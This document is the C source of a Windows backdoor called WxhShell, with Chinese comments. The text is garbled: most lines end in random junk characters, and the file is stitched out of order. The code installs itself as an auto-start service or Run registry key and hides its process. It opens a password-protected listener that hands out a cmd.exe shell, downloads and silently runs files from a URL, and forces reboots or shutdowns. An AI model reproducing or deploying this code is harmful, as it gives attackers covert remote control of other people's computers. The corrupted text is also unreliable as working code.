    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A_WaRYG  
    if(Boot(SHUTDOWN))  I8`$a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm& pn*1  
    else { /nuz_y\J  
    closesocket(wsh); ,hT.Ok={36  
    ExitThread(0); <pjxJ<1 l  
    } Sk1t~  
    break; f8aY6o"i  
    } eG8 l^[  
  // 获取shell U djYRfk  
  case 's': { Dte5g),R  
    CmdShell(wsh); HyOrAv <  
    closesocket(wsh); UqyW8TCf?  
    ExitThread(0); jWV}U a  
    break; yP>025o't  
  } 2H0BNrYM  
  // 退出 <<E 9MIn_  
  case 'x': { EU>`$M&w-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !lo /L  
    CloseIt(wsh); FpU8$o~r{  
    break; Q;!rN)  
    } m{?f,Q=u@  
  // 离开 uwr7 .\7  
  case 'q': { Mp>(cs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3 u4Q!U%(D  
    closesocket(wsh); U%q6n"[ Cr  
    WSACleanup(); >`SeX:  
    exit(1); q<! -Anc  
    break; ^G(Ee+PN@  
        } OXbShA&1  
  } 5E"^>z  
  } 'P" i9j  
9=3DYCk/  
  // 提示信息 hV0fkQ.|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EG|dN(qh  
} '6WS<@%}  
  } t|i<}2  
noL9@It0  
  return; s.Bb@Jq  
} f,Dic%$q  
 X(X[v]  
// shell模块句柄 ,Kl?-W@  
int CmdShell(SOCKET sock) kltW  
{ *o4a<.hd2  
STARTUPINFO si; ' h<(  
ZeroMemory(&si,sizeof(si)); fByf~iv,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EY<"B2_%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Up'#OkTx  
PROCESS_INFORMATION ProcessInfo; {7@*cB qN  
char cmdline[]="cmd"; uC#@qpzy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /]5*;kO`  
  return 0; M<n'ZDK `W  
} d[J_iD{ &  
^ r(My}  
// 自身启动模式 5Gy#$'kdf  
int StartFromService(void) "t(_r@qU/  
{ 5B4/2q=  
typedef struct h]k $K  
{ h_S>Q  
  DWORD ExitStatus; L YF|  
  DWORD PebBaseAddress; 4C%pKV  
  DWORD AffinityMask; <Nqbp  
  DWORD BasePriority; {.jW"0U  
  ULONG UniqueProcessId; ) y;7\-K0  
  ULONG InheritedFromUniqueProcessId; X(MS!RV  
}   PROCESS_BASIC_INFORMATION; t4G$#~  
)Hmf=eoc  
PROCNTQSIP NtQueryInformationProcess; 0V(}Zj>  
Zx_ ^P:rL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^N|8 B?Vg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =3w;<1 ?'  
9 %4:eTcp  
  HANDLE             hProcess; HNv~ZAzBG-  
  PROCESS_BASIC_INFORMATION pbi; PC<_1!M]  
@r/~Y]0Ye5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qJrKt=CE  
  if(NULL == hInst ) return 0; $=N?[h&4  
/B~[,ES@1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?X6}+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]4en |Aq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n"6L\u  
XDPgl=~  
  if (!NtQueryInformationProcess) return 0; (H !iK,R  
l[ $bn!_ e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); & rab,I"  
  if(!hProcess) return 0; 1VlU'qY  
N\ !  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Z_4bR4Q  
D\-\U E/  
  CloseHandle(hProcess); {#k[-\|;  
CL4N/[UM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8Ejb/W_  
if(hProcess==NULL) return 0; ~8u *sy  
"^\q{S&q2P  
HMODULE hMod; s) shq3O  
char procName[255]; @:9Gs!!  
unsigned long cbNeeded; Gb\PubJ  
Dz6xx?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3yKmuu!  
m\0_1 #(  
  CloseHandle(hProcess); /~{`!30  
Rt+-ud{O  
if(strstr(procName,"services")) return 1; // 以服务启动 U\tx{CsSz  
l9&k!kF`  
  return 0; // 注册表启动 {XmCG%%L  
} 4F6aPo2  
WJnGF3G>  
// 主模块 @ CmKF  
int StartWxhshell(LPSTR lpCmdLine) :1>?:3,`  
{ @ gWd  
  SOCKET wsl; 7<] EH:9  
BOOL val=TRUE; p|ink):  
  int port=0; <4q H0<  
  struct sockaddr_in door; V9BW@G@9  
z m$Sw0#(  
  if(wscfg.ws_autoins) Install(); V+O,y9  
6~x'~T  
port=atoi(lpCmdLine); MkPQ@so  
KddCR&  
if(port<=0) port=wscfg.ws_port; KaNs>[a8  
^x: lB>  
  WSADATA data; 3>aEP5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bPU i44P  
?zf3Fn2y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zR^Gy"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i9DD)Y<  
  door.sin_family = AF_INET; M>]A! W=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -9i7Ja  
  door.sin_port = htons(port); sE6>JaH  
aLGq<6Ja  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lr$M k#'B  
closesocket(wsl); {4G/HW28  
return 1; c Rq2 re  
} jRS{7rx%MH  
`Zm6e!dH-  
  if(listen(wsl,2) == INVALID_SOCKET) { WI/tWj0  
closesocket(wsl); Ec@n<KK#  
return 1; o'!=x$Ky  
} P.,U>m  
  Wxhshell(wsl); 1 &9|~">{C  
  WSACleanup(); @a?7D;+<  
Z)#UCoK!c  
return 0; a,c!#iyl3  
1*TbgxS~W  
} F+V!p4G  
L>h8>JvQ  
// 以NT服务方式启动 pi?MAE*f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GT&}Burl/n  
{ 7~mhWPzMwB  
DWORD   status = 0; 7#0buXBg  
  DWORD   specificError = 0xfffffff; a4__1N^Qj  
U\Wo&giP[  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  mLxgvp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9qB0F_xl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S%i^`_=Q  
  serviceStatus.dwWin32ExitCode     = 0; ZNX38<3h  
  serviceStatus.dwServiceSpecificExitCode = 0; \g39>;iR  
  serviceStatus.dwCheckPoint       = 0; USz~l7Xs  
  serviceStatus.dwWaitHint       = 0; rGyAzL]  
fORkH^Y(&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {_O!mI*  
  if (hServiceStatusHandle==0) return; o eU i  
E^axLp>(I  
status = GetLastError(); 8Y?M:^f~  
  if (status!=NO_ERROR) k2U*dn"9U  
{ ) CP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cQU;PH]  
    serviceStatus.dwCheckPoint       = 0; {arqcILr  
    serviceStatus.dwWaitHint       = 0; ZD]1C ~)  
    serviceStatus.dwWin32ExitCode     = status; CI'RuR3y]Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; iAwEnQ3h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^a4z*#IOr  
    return; j<B9$8x&  
  } ;Y?MbD  
>.iF,[.[F<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'u7-Qetj  
  serviceStatus.dwCheckPoint       = 0; gsk? !D  
  serviceStatus.dwWaitHint       = 0; bO=|utpk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h+FM?ct6}  
} "jFf}"  
s<9g3Gh  
// 处理NT服务事件,比如:启动、停止 6l]X{A.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AI-*5[w#A  
{ <xOX+D  
switch(fdwControl) -zR<m  
{ Y^eN}@]?&  
case SERVICE_CONTROL_STOP: 7>JTQ CJ  
  serviceStatus.dwWin32ExitCode = 0; d~LoHp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xu]~vik  
  serviceStatus.dwCheckPoint   = 0; 2?JV "O=  
  serviceStatus.dwWaitHint     = 0; .A2$C|a*  
  { =&WIa#!=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ttluh *  
  } g'(bk@<BP  
  return; fE-R(9K  
case SERVICE_CONTROL_PAUSE: 6_Fr\H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P8tdT3*6/  
  break;  ?Y(  
case SERVICE_CONTROL_CONTINUE: ,QY$:f<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2r, c{Ah@D  
  break; 1qRquY  
case SERVICE_CONTROL_INTERROGATE: @r TB&>`  
  break; b(Nv`'O  
}; =RQF::[h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 52w@.]  
} a5 D|#9  
G,u=ngZ]  
// 标准应用程序主函数 %71i&T F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  \i%'M%  
{ HN7CcE+l  
wVBK Vb9N  
// 获取操作系统版本 i(}Pr A  
OsIsNt=GetOsVer(); d1<";b2Jt^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -50DGA,K6  
Hr|f(9xA  
  // 从命令行安装 <^5!]8*O  
  if(strpbrk(lpCmdLine,"iI")) Install(); IOy0WHl|  
&9L4 t%As  
  // 下载执行文件 5R7x%3@L  
if(wscfg.ws_downexe) { v@ _1V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uoS:-v}/Y~  
  WinExec(wscfg.ws_filenam,SW_HIDE); l4bytI{63  
} ig,.>'+l  
o*cu-j3  
if(!OsIsNt) { cq1 5@a mX  
// 如果时win9x,隐藏进程并且设置为注册表启动 e97G]XLR  
HideProc(); <xI<^r'C9e  
StartWxhshell(lpCmdLine); X?5{2ulrI  
} Hn|W3U  
else )4yP(6|lx  
  if(StartFromService()) 8dGsV5"*  
  // 以服务方式启动 X0/slOT  
  StartServiceCtrlDispatcher(DispatchTable); NJUKH1lIhR  
else GWA"!~Hu  
  // 普通方式启动 I Dohv[#  
  StartWxhshell(lpCmdLine); b}[S+G-9W  
3Z!%td5n  
return 0; !GcBNQ1p+7  
} k# [!; <  
<LHhs <M'  
OW7  
=)a24PDG  
=========================================== dljE.peL  
c4Ebre-Oa  
&d_^k.%y  
 WR;1  
cU1o$NRx  
LP2~UVq  
" [h/T IGE\  
\TQZZ_Z  
#include <stdio.h> @-U\!Tf  
#include <string.h> _D '(R  
#include <windows.h> l/.{F;3F  
#include <winsock2.h> 5 \mRH  
#include <winsvc.h> uYh!04u  
#include <urlmon.h> 02;jeZ#z  
akj<*,  
#pragma comment (lib, "Ws2_32.lib") a=z] tTs4  
#pragma comment (lib, "urlmon.lib") M(%H  
e &6%  
#define MAX_USER   100 // 最大客户端连接数 kK6O ZhLH  
#define BUF_SOCK   200 // sock buffer slQn  
#define KEY_BUFF   255 // 输入 buffer c_J9CKqc  
u`pTFy  
#define REBOOT     0   // 重启 VY?9|};f  
#define SHUTDOWN   1   // 关机 YF%gs{  
T &ZQ ie/  
#define DEF_PORT   5000 // 监听端口 dWAt#xII  
5ZCu6 A  
#define REG_LEN     16   // 注册表键长度 CIudtY(:  
#define SVC_LEN     80   // NT服务名长度 NR4+&d  
w,UE0i9I  
// 从dll定义API JJ: ku&Mb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h4Crq Yxa_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $y(;"hy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Obs#2>h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wlS/(:02  
k<gH*=uXY'  
// wxhshell配置信息 \DB-2*a"  
struct WSCFG { C:QB=?%;  
  int ws_port;         // 监听端口 nm^HL|  
  char ws_passstr[REG_LEN]; // 口令 iRQ!J1SGcG  
  int ws_autoins;       // 安装标记, 1=yes 0=no d0El2Ct8  
  char ws_regname[REG_LEN]; // 注册表键名 R\j~X@vI  
  char ws_svcname[REG_LEN]; // 服务名 &K ~k'P~m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &g`&#IRz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y|Iq~Qy~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]aX@(3G1s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $:9t(X)H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c*bvZC^6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 je] DR~  
{ bj!]j  
}; #<{v~sVp&  
MIMC(<   
// default Wxhshell configuration X/5m}-6d]  
struct WSCFG wscfg={DEF_PORT, `#""JTA"  
    "xuhuanlingzhe", [doEArwn  
    1, s68(jYC7[  
    "Wxhshell", dlu*s(O"  
    "Wxhshell",  wJp<ZL  
            "WxhShell Service", hnj\|6L  
    "Wrsky Windows CmdShell Service", ,9&cIUH  
    "Please Input Your Password: ", !_fDL6a-  
  1, WAu>p3   
  "http://www.wrsky.com/wxhshell.exe", NxP(&M(  
  "Wxhshell.exe" Kz HYh  
    }; lC<;Q*Y  
' zyw-1  
// 消息定义模块 i|:!I)(lh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -|>~I#vY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /jv/qk3i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5.rAxdP  
char *msg_ws_ext="\n\rExit."; $dC`keQM>9  
char *msg_ws_end="\n\rQuit."; Sd7jd?#9'  
char *msg_ws_boot="\n\rReboot..."; =L W!$p  
char *msg_ws_poff="\n\rShutdown...";  N' hT  
char *msg_ws_down="\n\rSave to "; lY%I("2=  
N>mW64_H)  
char *msg_ws_err="\n\rErr!"; 'uL4ezTtA  
char *msg_ws_ok="\n\rOK!"; (x=$b(I  
7KC>?F  
char ExeFile[MAX_PATH]; RQVu~7d[  
int nUser = 0; 3j7FG%\  
HANDLE handles[MAX_USER]; b8WtNVd  
int OsIsNt; '| 8 dt "C  
<jh4P!\&j  
SERVICE_STATUS       serviceStatus; MN?aPpr>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uwwR$ (\7  
;[<(4v$  
// 函数声明 =oAS(7o  
int Install(void); `YhGd?uu$  
int Uninstall(void); k{' ZaP)  
int DownloadFile(char *sURL, SOCKET wsh); )+ .=z  
int Boot(int flag); yRXML\Ge  
void HideProc(void); X%Ok ">  
int GetOsVer(void); Be6Yh~m  
int Wxhshell(SOCKET wsl); R1];P*>%gZ  
void TalkWithClient(void *cs); BT7{]2?&V  
int CmdShell(SOCKET sock); gInh+XZs  
int StartFromService(void); * EWWN?d  
int StartWxhshell(LPSTR lpCmdLine); mixsJ}e  
JP#S/kJ%3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,54z9F`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EU[\D;  
abo=v<mR  
// 数据结构和表定义 .}IW!$ dq  
SERVICE_TABLE_ENTRY DispatchTable[] = O}M-6!%<,  
{ +,e#uuj$p  
{wscfg.ws_svcname, NTServiceMain}, Xa[k=qFo  
{NULL, NULL} =j.TDv'^nd  
}; t3<MoDe7`r  
sz9W}&(j  
// 自我安装 cBxGGggB  
int Install(void) O<S.fr,  
{ #&Hi0..y  
  char svExeFile[MAX_PATH]; IuwE&#  
  HKEY key; !"^Zr]Qt+\  
  strcpy(svExeFile,ExeFile); vJWBr:`L  
JR!-1tnc  
// 如果是win9x系统,修改注册表设为自启动 y:'Ns$+  
if(!OsIsNt) { 1wFu3fh@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5B=uvp|Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "*d6E}wG  
  RegCloseKey(key); s6H.Q$3L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a?[[F{X9^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iz0$T.T  
  RegCloseKey(key); 8(1*,CJQg  
  return 0; sfF~k-  
    } ~I|| "$R  
  } @KQ>DBWQM  
} e=i X]%^  
else { >wW{ $  
VbX P7bZ  
// 如果是NT以上系统,安装为系统服务 ] Lv3XMa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )eZK/>L&  
if (schSCManager!=0) ocGrB)7eD  
{ 8$IKQNS  
  SC_HANDLE schService = CreateService H/o_?qK  
  ( K43%9=sM  
  schSCManager, b-u@?G|<  
  wscfg.ws_svcname, 9nFL70  
  wscfg.ws_svcdisp, VZ9 p "  
  SERVICE_ALL_ACCESS, N/tcW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gFR}WBl/  
  SERVICE_AUTO_START, )r e<NE&M  
  SERVICE_ERROR_NORMAL, f,G*e367:  
  svExeFile, [qc1 V%g  
  NULL, ~F"S]  
  NULL, j iKHx_9P  
  NULL, o/Ismg-p  
  NULL, 8iIp[9~=  
  NULL \U:OQ.e  
  ); g5y+F]'I  
  if (schService!=0) ajSB3}PN  
  { M@[W"f Wq  
  CloseServiceHandle(schService); 6KddHyFz  
  CloseServiceHandle(schSCManager); y3~`qq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f@i#Znkf*?  
  strcat(svExeFile,wscfg.ws_svcname); n0KpKH<&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,L& yKS@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xb"i/gfxt  
  RegCloseKey(key); eoiz]L  
  return 0; 5,Fq:j)MxW  
    } Skr (C5T  
  } (L(7)WbH  
  CloseServiceHandle(schSCManager); OxHcoNrz  
} ;\K]~  
} aE~T!h  
N<Sl88+U  
return 1; a>47k{RSzE  
} m.lR]!Y=w  
oJa}NH   
// 自我卸载 2 7)If E  
int Uninstall(void) 505c(+  
{ mG~k f]Y  
  HKEY key; NjIPHM$g  
=Kj{wA O  
if(!OsIsNt) { URb8[~dR:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _=HaE&  
  RegDeleteValue(key,wscfg.ws_regname); \,13mB6  
  RegCloseKey(key); [FBS|v#T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k[f2`o=  
  RegDeleteValue(key,wscfg.ws_regname); f&<+45JI  
  RegCloseKey(key); R+HX'W  
  return 0; ]'5Xjcx  
  } KElEGW  
} L-9fo-  
}  \ ca<L  
else { q/@2=$]hH3  
/9br&s$B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r^m&<)Ca  
if (schSCManager!=0) r D@*xMW  
{ YE`Y t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0OO[@Ht  
  if (schService!=0) "qgwuWbM  
  { :i&]J$^;  
  if(DeleteService(schService)!=0) { ,7d/KJ^7  
  CloseServiceHandle(schService); F^GNOD3J  
  CloseServiceHandle(schSCManager); e]VW\ 6J&  
  return 0; c^I^jg2v  
  } Bz/ba *  
  CloseServiceHandle(schService); 7(}'jZ  
  } Y"lEMY  
  CloseServiceHandle(schSCManager); r;{$x  
} rt^~ I \V  
} BL&AZv/T  
N**)8(  
return 1; `df!-\#  
} 3CD#OCz7&  
yeiIP  
// 从指定url下载文件 dFBFXy  
int DownloadFile(char *sURL, SOCKET wsh) sFM$O232  
{ &|x7T<,)  
  HRESULT hr; 'I>USl3hI  
char seps[]= "/"; PA'&]piPl:  
char *token; |$\K/]q -  
char *file; wG49|!l6T  
char myURL[MAX_PATH]; 254V)(t^QM  
char myFILE[MAX_PATH]; \-yI dKj  
VpJKH\)Rt(  
strcpy(myURL,sURL); b? o  
  token=strtok(myURL,seps); lk>\6o:  
  while(token!=NULL) O14QlIk  
  { Z"VP<-  
    file=token; U~D~C~\2;  
  token=strtok(NULL,seps); 'Q=;I  
  } uE.BB#  
_M%>Qm  
GetCurrentDirectory(MAX_PATH,myFILE); jfG of*  
strcat(myFILE, "\\"); {wC*61@1  
strcat(myFILE, file); OKh0m_ )7  
  send(wsh,myFILE,strlen(myFILE),0); +ydd"`  
send(wsh,"...",3,0); ah*{NR)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {dZ]+2Z~+  
  if(hr==S_OK) ~B|m"qY{i  
return 0; 1_t+lJI9j  
else OjhX:{"59  
return 1; t+a.,$U  
^i|R6oO_5  
} MsXw 8D  
nYSe0w  
// 系统电源模块 :.5l  
int Boot(int flag) *k7BE_&*0Z  
{ kqCsEtm]  
  HANDLE hToken; A'#d:lOA  
  TOKEN_PRIVILEGES tkp; lWYp  
F q~uuQ  
  if(OsIsNt) { o MJ `_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eyK xnBz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X.>=&~[  
    tkp.PrivilegeCount = 1; X7!q/1$J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n5=U.r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p{5m5x  
if(flag==REBOOT) { t8-P'3,Q$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S46aUkW.  
  return 0;  !64Tx  
} 0Agse)  
else { <yipy[D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F ,472H  
  return 0; k\[(;9sf.  
} &IN%2c  
  } Y'iI_cg  
  else { 4 -.W~C'Q  
if(flag==REBOOT) { WGz)-IB!PE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k&ooV4#f6  
  return 0; ]qqgEZ1!Y  
} rnZ$Qk-H  
else { a qEZhMy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lQ?jdi  
  return 0; Wu 0:X*>}p  
} Kn:Ml4[;  
} n1PptR  
}sH[_%)  
return 1; +4-T_m/W/  
} U,P>P+\@  
4fs d5#  
// win9x进程隐藏模块 'yPKQ/y$x  
void HideProc(void) l(NQk> w  
{ XSC=qg$  
3q'AgiW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d~~kJKK  
  if ( hKernel != NULL ) e4` L8  
  { ^Oi L&p;r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e%[*NX/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); At\(/Z y  
    FreeLibrary(hKernel); 1<G+KC[F  
  } x.-d)]a!  
l\W|a'i  
return; RKP, w %  
} .yy-jf/  
?C[?dg{n  
// 获取操作系统版本  E4eX fu  
int GetOsVer(void) 14 & KE3`  
{ MoFM'a9  
  OSVERSIONINFO winfo; (|BY<Ac3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ip'tB4Mq  
  GetVersionEx(&winfo); ]i#p2?BR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bq ED5;d'#  
  return 1; nx'c=gp  
  else O=3/ qs6m  
  return 0; ~bZ =]i  
} 0 cycnOd  
m}'_Poc  
// 客户端句柄模块 XX/gS=NE#.  
int Wxhshell(SOCKET wsl) ZHK>0>;  
{ ;Xt <\^e  
  SOCKET wsh; % [$HX'Y  
  struct sockaddr_in client; ~gpxK{  
  DWORD myID; Kd-1EU  
 )bF l-  
  while(nUser<MAX_USER) rk8pL[|  
{ N; }$!sNIm  
  int nSize=sizeof(client); ZwDL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X6cn8ak 3  
  if(wsh==INVALID_SOCKET) return 1; [@Ac#  
w6s[|i)&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8vVE  
if(handles[nUser]==0) J.yM@wPS>  
  closesocket(wsh); w1G(s$;C  
else T2Yf7Szp  
  nUser++;  ?CAU+/  
  } [1vm~w'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g.&B8e  
Q!P%duO  
  return 0; ZK]qQrIwy  
} {J==y;dK  
Bg]VaTm[=  
// 关闭 socket J|BElBY  
void CloseIt(SOCKET wsh) ^^V3nT2rR3  
{ 4<-Kd~uL  
closesocket(wsh); eS!]..%y  
nUser--; Em(_W5 ND{  
ExitThread(0);  57q=  
} M)ET 1ZM  
;}+M2Ec51  
// 客户端请求句柄 8@rYT5e3c  
void TalkWithClient(void *cs) ceG\Q2  
{ zufphS|  
y5sH7`2+5  
  SOCKET wsh=(SOCKET)cs; tLOGj?/r  
  char pwd[SVC_LEN]; {c*$i^T  
  char cmd[KEY_BUFF]; @l CG)Ix<  
char chr[1]; 2uEI@B  
int i,j; T!H(Y4A  
.hW>#  
  while (nUser < MAX_USER) { XN<!.RCw  
Z^V;B _  
if(wscfg.ws_passstr) { h*VDd3[#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j~N*TXkC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H=BI%Z  
  //ZeroMemory(pwd,KEY_BUFF); 9:{<:1?  
      i=0; I#MPJ@*WT  
  while(i<SVC_LEN) { fo,0NxF9  
Ixn|BCi60A  
  // 设置超时 *W8n8qG%T  
  fd_set FdRead; ZhY{,sy?QO  
  struct timeval TimeOut; 0i\>(o  
  FD_ZERO(&FdRead); Sl8+A+  
  FD_SET(wsh,&FdRead); BHY-fb@R]H  
  TimeOut.tv_sec=8; M Z"V\6T]  
  TimeOut.tv_usec=0; "zq'nV=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fJ/INL   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ''9]`B,:a0  
G %sO{k7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6vK`J"d{~D  
  pwd=chr[0]; =CFjG)L  
  if(chr[0]==0xd || chr[0]==0xa) { O H>.N"IG  
  pwd=0; Z@euO~e~  
  break; 'b.jKkW7  
  } ]ePg6  
  i++; N 8[r WJ#  
    } X}Q4;='C-  
g}hUCx(  
  // 如果是非法用户,关闭 socket 1#x5 o2n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %O9Wm_%  
} ~+'f[!^  
\Hp!NbnF$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _9=87u0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `e ZDG  
<ci(5M  
while(1) { 7;p/S#P:  
bR7tmJ[)Z  
  ZeroMemory(cmd,KEY_BUFF); cgG*7E  
.h <=C&Yg  
      // 自动支持客户端 telnet标准   U1:m=!S;x  
  j=0; WuE]pm]c  
  while(j<KEY_BUFF) { &n | <NF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |y7TYjg6  
  cmd[j]=chr[0]; M<Bo<,!ua  
  if(chr[0]==0xa || chr[0]==0xd) { N[Xm5J  
  cmd[j]=0; +}m`$B}mJ  
  break; <9&GOaJ  
  } h1q 3}-  
  j++; P.>fkO1\  
    } -F/)-s6#!'  
FZgf"XM>  
  // 下载文件 Zw)=Y.y!  
  if(strstr(cmd,"http://")) { sFZdj0tQ4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $@6q5Iz!&  
  if(DownloadFile(cmd,wsh)) (72%au  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dl.< (/  
  else Vb? wwx7=  
